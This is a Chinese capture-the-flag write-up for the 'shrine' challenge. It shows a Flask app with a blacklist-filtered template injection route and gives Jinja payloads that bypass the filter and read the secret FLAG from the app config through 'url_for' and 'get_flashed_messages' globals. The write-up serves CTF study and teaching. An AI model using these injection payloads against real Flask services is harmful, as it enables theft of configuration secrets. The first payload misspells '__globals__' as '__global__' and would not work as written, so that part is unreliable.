shrine

源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以读取到的信息:

  • 配置信息:服务器是python的flask模板,config内有FLAG参数。

  • 路由信息:根目录返回文件源码;/shrine/<path:shrine>下存在模板注入。

  • 过滤了两个黑名单config、self,过滤了括号。

  • 开启了debug模式。

想读取config,但是发现被过滤了,这个时候就要考虑flask模板下的两个重要参数。

  • {{url_for.__global__}} # 全局函数

  • {{get_flashed_messages()}} # 内置函数

获取flag方式:

{{url_for.__global__['current_app'].config['FLAG']}}

或者

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

该函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

Last updated